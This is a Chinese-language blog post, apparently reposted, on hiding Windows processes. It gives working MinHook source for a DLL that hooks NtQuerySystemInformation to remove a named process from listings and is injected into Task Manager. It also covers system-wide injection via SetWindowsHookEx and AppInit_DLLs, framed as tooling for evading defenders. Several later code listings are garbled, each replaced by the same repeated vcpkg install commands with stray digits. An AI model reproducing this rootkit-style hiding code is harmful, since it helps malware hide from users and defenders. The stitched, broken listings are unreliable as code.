0x0 前言
网上有不少文章都讲解了通过注入进程管理器实现进程隐藏的思路,笔者在前人的基础上,以萌新的视角对于如何实现更高级的全局Hook进行了一番学习,通过本文,读者学习到window的相关机制和一些奇妙功能(键盘记录、鼠标监控)的实现原理,深入的话,还可以与目标进行有趣的对抗。
0x1 实现方式
介绍下笔者学习到的几种实现方式:
1) 利用全局钩子SetWindowsHookEx
2) AppInit_DLLs注册表键值实现globalAPIhook
3) Hook系统进程从而监控进程创建(本文暂不介绍)
0x2 API Hook技术
本文倾向于面向萌新读者,主要介绍下如何快速实现API Hook技术。
故这里可以选择性无视底层实现的原理(这个对实现本文的最终目标意义不大)
好奇的小伙伴,可以查阅部分原理的说明:
1 https://xz.aliyun.com/t/9166
2 https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra
推荐一个可完美支持下x86 && x64架构的小型Hook库: minhook
关于这个库还是蛮有意思的,作者是个很有趣的人,自食其力。
0x2.1 Mhook安装
Window:
git clone https://github.com/microsoft/vcpkg
.\vcpkg\bootstrap-vcpkg.bat
.\vcpkg\vcpkg integrate install
.\vcpkg\vcpkg install minhook
虚拟机用win10,没有自带git的话,启动powershell,来下载
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x64
0x2.2 Mhook上手
有时候想要上手一门东西,其实看文档就可以。(文档的作用恰恰在此)
那么还想要更快速上手呢? 看文档给出的Example
通过阅读:https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra
尝试Hook MessageBoxW()
打开visual stdio 2019 新建个Console项目:
#include <Windows.h>
#include <stdio.h>
#include "MinHook.h"
#if defined _M_X64
#pragma comment(lib, "minhook.x64.lib")
#elif defined _M_IX86
#pragma comment(lib, "minhook.x86.lib")
#endif
// 定义一个指针类型
typedef int (WINAPI* MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);
// 先创建一个保存原先MessageBoxW函数的指针
MESSAGEBOXW fpMessageBoxW = NULL;
// 替代MessageBoxW的Detour 函数
// 打的太累,直接复制:https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox
int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
return fpMessageBoxW(hWnd, L"Hooked!", lpCaption, uType);
}
int wmain() {
// 初始化MinHook
if (MH_Initialize() != MH_OK) {
printf("%ws\n", L"初始化MinHook 失败!");
return 1;
}
// 创建一个处于关闭状态的 hook
if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) {
printf("%ws\n", L"创建Hook 失败!");
return 1;
}
// 开启Hook的状态
if (MH_EnableHook(&MessageBoxW) != MH_OK) {
printf("%ws\n", L"开启Hook 失败!");
return 1;
}
// 检验Hook效果,期待返回文本值"Hooked"!
MessageBoxW(NULL, L"Not hooked ...", L"MinHook Sample", MB_OK);
// 关闭Hook状态
if (MH_DisableHook(&MessageBoxW) != MH_OK) {
printf("%ws\n", L"关闭Hook 失败!");
}
// 检验关闭Hook后的效果,正常返回
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
// 关闭MinHook
if (MH_Uninitialize() != MH_OK)
{
return 1;
}
return 0;
}
Hook后:
unHook 后
短短几行直观简洁的代码实现的效果还是很棒的。
代码还可以进行一层函数封装,这样可以避免每次都要添加reinterpret_cast进行类型转换。
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
调用的话就可以变成:
if (MH_CreateHookApiEx(L"user32", "MessageBoxW", &DetourMessageBoxW, &fpMessageBoxW) != MH_OK) {
printf("%ws\n", L"创建Hook失败!");
return 1;
}
// or
if (MH_CreateHookEx(&MessageBoxW, &DetourMessageBoxW, &fpMessageBoxW) != MH_OK) {
printf("%ws\n", L"创建Hook失败!");
return 1;
}
0x3 隐藏进程
0x3.1 原理简析
系统位置:
C:\Windows\System32\tasklist.exe
C:\Windows\System32\Taskmgr.exe
分别用IDA进行载入:
1) tasklist.exe
先查看导出表,发现并没有进行系统查询的API。
跟入口:wmain->CTaskList::Show(带参数)
可以看到tasklist的流程是通过一个指针函数枚举出所有进程id。
然后SetStoreAppInfo->NtQueryInformationProcess查询指定进程信息。
关于这个枚举pid的进程函数的具体实现,因为涉及到一些笔者知识盲点,故在此作罢。
查看这个程序文档,还可以发现有趣的是,这个还支持远程枚举,挺好玩的一个原生域横向小技巧。
2) Taskmgr.exe
导出表:
查看相关引用,发现WdcMemoryMonitor::Query->WdcNtQuerySystemSuperfetchInformation->NtQuerySystemInformation
这里的话,tasklist.exe是否通过其他手段调用NTDLL,或者是做了一些保护,尚不得知,而且tasklist.exe一般是通过即时调用,整个过程来不及注入DLL,故这里笔者采用大部分通杀的方法直接Hook NtQuerySystemInformation。
下面是调试得到的一些编程小技巧,下面代码实现会有使用到:
编码的时候有些未文档化的函数,可以通过查看结构来补全或者使用这个网站结构体查询网站
windbg加载符号表:
.sympath srv*c:\Symbols*https://msdl.microsoft.com/download/symbols
加载完成之后重新载入
.reload
查看结构
dt _SYSTEM_PROCESS_INFORMATION
0x3.2 Hook实现
vcpkg下载编译的在DLL初始化中存在问题,这里笔者改为官方编译好的lib:
启动PowerShell:
Invoke-WebRequest -uri https://github.com/TsudaKageyu/minhook/releases/download/v1.3.3/MinHook_133_lib.zip -outFile MinHook_all.zip
Expand-Archive -Path MinHook_all.zip -destinationPath ./MinHook_all
配置好依赖的路径和附加包含目录,记得选择所有平台,这样可全局覆盖。
C代码实现:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <winternl.h>
#include <MinHook.h>
#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v140-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v140-mt.lib")
#endif
// 摘取文档核心的几个偏移即可,新增个指针方便类型转换
// 原类型不支持类型转换
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
} _MY_SYSTEM_PROCESS_INFORMATION, * MY_SYSTEM_PROCESS_INFORMATION;
// 定义一个指针函数类型
typedef NTSTATUS(WINAPI* myNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
// 定义一个存放原函数的指针
myNtQuerySystemInformation fpNtQuerySystemInformation = NULL;
// 定义一个Hook函数,隐藏指定进程名程序
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
) {
// 先正常调用原函数,获取返回值
NTSTATUS status = fpNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
// 判断是否是进程信息和调用是否成功
if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {
MY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
MY_SYSTEM_PROCESS_INFORMATION pNext = (MY_SYSTEM_PROCESS_INFORMATION)SystemInformation;
// 单链表循环
do
{
pCurrent = pNext;
pNext = (MY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
{
//MessageBoxW(NULL, L"Hook notepad.exe ok!", L"Title", MB_OK);
if (0 == pNext->NextEntryOffset)
{
pCurrent->NextEntryOffset = 0;
}
else
{
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
// 这里能够跳过notepad.exe的指针
pNext = pCurrent;
}
} while (pNext->NextEntryOffset != 0);
}
// 正常返回
return status;
}
// 封装MinHook的使用
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
// 封装Hook函数
BOOL Hook() {
// 初始化MinHook
MH_Initialize();
// hook ntdll函数中的NtQuerySystemInformation
MH_CreateHookApiEx(L"ntdll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, &fpNtQuerySystemInformation);
MH_EnableHook(MH_ALL_HOOKS);
return true;
}
BOOL unHook() {
MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize();
return true;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"Hook ok!", L"Title", MB_OK);
Hook();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
其中关键的隐藏步骤代码,实现了控制进程的链表指针原本指向我们hook的进程的指针A,指向了Hook的进程指向的下一个进程指针B,然后pNext=pCurrent,将整体偏移到指针B的地址中去,从而在链结构中删去了需要Hook的进程,但是这个方法有一个弊端,如果枚举的时候直接根据地址偏移去找的话,还是可以找到的。
0x3.3 注入任务管理器
网上看到不少Hook的文章,喜欢在case DLL_PROCESS_DETACH: 添加unhook,用于人为使用FreeLibrary来卸载注入的DLL时,能够修正原来的进程空间的tramponline的改动的代码。
但是经过笔者的多次测试,任务管理器自身就会不断触发DLL卸载的行为,导致如果加了这一行代码,那么就没办法实现隐藏进程的效果。如果不加的话,那么如果主动去卸载该DLL的话,那么会导致任务管理器因为寻址错误异常退出。
但是神奇的是,只会加载一次,然后切换任务管理器其他功能时就会触发DLL卸载行为。
那么为什么会这样呢 ?结合上面的情况和代码进行分析,可以发现,任务管理器会启动子线程去进行动态加载,把代码修改为如下,即可避免这个问题。
每个情况,加一个break;即可防止向下执行。
Hook notepad.exe 效果展示
使用一个简单的远程线程注入exe,代码参考:https://xz.aliyun.com/t/10191#toc-3
然后卸载的时候
单击确定之后,记事本又回来了。
0x4 实现全局钩子&&全局注入
当然既然实现任务管理器Hook,那么PrcocessHacker可以不?procmon64可以不?
从原理出发的话,如果他们调用了NtQuerySystemInformation,那么就是可以的,但具体步骤比较繁琐,每次都要手动获取任务管理器进程和其他相关查看进程的程序的pid,然后手工注入隐藏的DLL,这未免显得太麻烦了,那么有没有只需要后台静默运行一个exe程序即可?
答案是可以的,但是有其局限性,下面笔者展开来谈谈两个实现思路。
0x4.1 全局钩子SetWindowsHook
文档:https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw
用法:
HHOOK SetWindowsHookExW( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个钩子过程来监视系统的某些类型事件。这些事件与特定线程或与调用线程位于同一桌面中的所有线程相关联。Window设计:Windows使用消息传递模型。操作系统通过向应用程序窗口传递消息来与应用程序窗口通信。消息只是一个指定特定事件的数值代码。例如,如果用户按下鼠标左键,窗口将收到一条消息代码的消息。
下面是对钩子的原理简介:
为了能够让DLL注入所有的进程中,程序设置WH_GETMESSAGE消息的全局钩子。因为WH_GETMESSAGE类型的钩子会监视消息队列,由于Windows系统是基于消息驱动的,所以所有进程都会有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局钩子DLL。----《Windows黑客编程技术详解》
代码实现
1) 编写信息处理回调函数
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nc-winuser-hookproc
里面说明这个是可以在application定义或者库定义的,这个文档其实不是很明朗,我自己测试的时候,发现这个要是想全部程序都注入的话,要在DLL中编写这个函数,并且进行导出。
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x640
2) 编写SetWindowHook主体代码
这个代码流程就比较简单,照着文档写就可以。
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x641
关于为什么这样写,其实我也不是清楚,是我自己调试得到的,具体的话要去看下SetWindowsHook是如何挂钩,如何访问DLL空间,注入程序与被注入程序是如何联系起来的,这些都是底层封装好的,作为一个脚本小子的,能run就行的觉悟,这样写在win10是没错的。
3) 效果展示
Hook的时候很自然、很丝滑,无不适感,近乎无感。
DLL也被成功加载
Unhook的时候,一切恢复,很nice!
整体来说这个实现其实已经符合了我的基本要求了,但是这个方法存在一些局限性。
1)Tasklist.exe 没办法挂钩
一般来说,这种只可以挂钩带窗口即有gui的程序,要不然程序里得有信息循环,要不然没办法Hook(就算Hook,也不一定行),这个就有点美中不足啦,因为我就很喜欢用tasklist来查进程,还有beaconeye这些工具类一般也不会去写gui。
2)DLL需要落地,程序通过参数指定调用DLL的路径时候,commandline也容易暴露,这个问题解决方案就是无DLL文件Hook,跟反射注入差不多,能够做到隐蔽。
0x4.2 全局注入 AppInit_DLLs
原理:
用户层,通过global API hooks将测试dll注入到系统的所有进程,实现对指定进程的隐藏
方式:
修改注册表键值AppInit_DLLs
键值位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
查阅官方文档:https://docs.microsoft.com/en-us/windows/win32/win7appqual/appinit-dlls-in-windows-7-and-windows-server-2008-r2
里面说到支持的平台为:
Clients - Windows 7
Servers - Windows Server 2008 R2
描述中说到:
AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Microsoft is modifying the AppInit DLLs facility in Windows 7 and Windows Server 2008 R2 to add a new code-signing requirement. This will help improve the system reliability and performance, as well as improve visibility into the origin of software.
AppInit_DLLs支持将一组DLL加载到系统上每个用户模式进程。(这个特点就很有实战意义,针对用户模式注入)
配置信息,用于后面我们编写注册:
这里笔者使用win7作为演示:
win+r -> regedit 打开注册表编辑器
AppInit_DLLS:空格或者逗号隔开,支持短文件名。
LoadAppInit_DLLS: 0x1 开启
RequireSignedAppInit_DLLs: 测试的win7没有这个,这里我就不设置了。
然后当你启动任何用户级别程序的时候就会注入DLL:
但是我发现在Win7下的任务管理器有点奇怪,应用程序那一列没办法隐藏应用和tasklist.exe也没办法做到隐藏,但是processHacker在界面还是进程列都没啥问题。
但是确实用户态的所有进程都注入了该DLL,那么问题说明仅仅Hook NTQuerySystemInformation是不够,不同的系统版本然后任务管理器展示可能存在差异。
当时再看国外一篇文章里面说到:https://www.codeproject.com/articles/49319/easy-way-to-set-up-global-api-hooks?display=print
在win2003的时候,hook NTQuerySystemInformation结合AppInit_DLLs能够实现全方位的隐藏。
后面通过Google搜索到一个现成的github项目:https://github.com/manicstreetcoders/AppInitGlobalHooks-Mimikatz,其中实现了注册表自动设置,代码如下:
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x642
REG修改下DLL路径,然后项目中修改下隐藏的路径重新编译,得到新的DLL。
点击Reg运行设置好键值,查看效果:
发现一个很神奇的地方,hook表现出来的大部分状态都跟我之前的DLL相同,虽然依然没办法隐藏应用程序中的记事本,但是这个项目Hook之后,能够将Tasklist.exe隐藏掉进程。
为什么会这样的?难道TaskList.exe通过其他方式调用了NTQuerySystemInfoMation吗?
既然这样,那就尝试验证下window10下的TaskList.exe呗。
写个循环代码尝试捕捉下tasklist.exe的运行:
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x643
好像还不错,这么快也能捕捉到。
那么尝试下,瞬间注入呗?em?好像不太OK
经过我的一番脚本小子的推测,可能是注入的瞬间进程结束了呗,那么有没有啥办法能检验呢?
随手搓一个挂起注入呗,看看能不能解决这个问题。
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x644
问题不大成功注入DLL,但是我发现唤醒主线程之后依然没办法隐藏进程,后面想知道为什么只能动态去调试了,一想到脚本小子的本分,我就知道这对我来说是不可能的了。
这里给出点自己的想法,要么就是Tasklist实现机制问题,要么就是注入的时候Hook优先级不够。
顺便补充一个相关知识点,关于这个技术的通用性拓展,三好学生师傅针对32位和64位做了改动来适配:
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x645
最后,小结下,虽然这个方法使用起来很简单,效果很明显,但是其也有很严重的局限性:
1)由于借助系统加载,DLL文件肯定是要落地的。
2)微软在其文档中提到:https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls
很有意思,目前这个方法被恶意软件广泛使用,自window8之后,使用了安全启动,这样会默认关闭Appinit_DLLS技术。
可能是利用起来太简单了,可以自定义各种设置,病毒开发小伙伴们都是很有默契的,要么一起用,要么一起不用,那微软就成全后者呗。
0x5 个人想法
本文算是帮不少作者填了一些坑,但是笔者同样也留了一些新坑,天道好轮回,苍天饶过谁?关于这个基于window机制来实现对抗的思路,还是有一定可玩性的,除了进程隐藏,还有很多玩法。在日常对抗中的,防御的成本是高于攻击成本的,你玩的越底层,那么他们的防御成本是指数级别增长。同时,要做好一个攻击工具,是需要做到良好兼容性、傻瓜化、工程化的。
0x6 总结
本文是一篇属于流水账式的文章,通过开门见山点出全局Hook的两个思路,然后介绍了如何上手使用Mhook来简化Hook的编码过程,接着介绍了隐藏进程的原理,并做了效果展示,最后较为详细地介绍了笔者实现全局钩子和全局注入的过程。通过阅读本文,读者可以清楚看到笔者是个纯粹的脚本小子,其中很多想法不具备底层原理的考证,所以建议抱谨慎的态度阅读此文,同时欢迎各位师傅拍砖指点,指出错误之处。
文章来源于:https://xz.aliyun.com/t/10256
若有侵权请联系删除
加下方wx,拉你一起进群学习
往期推荐
还没有评论,来说两句吧...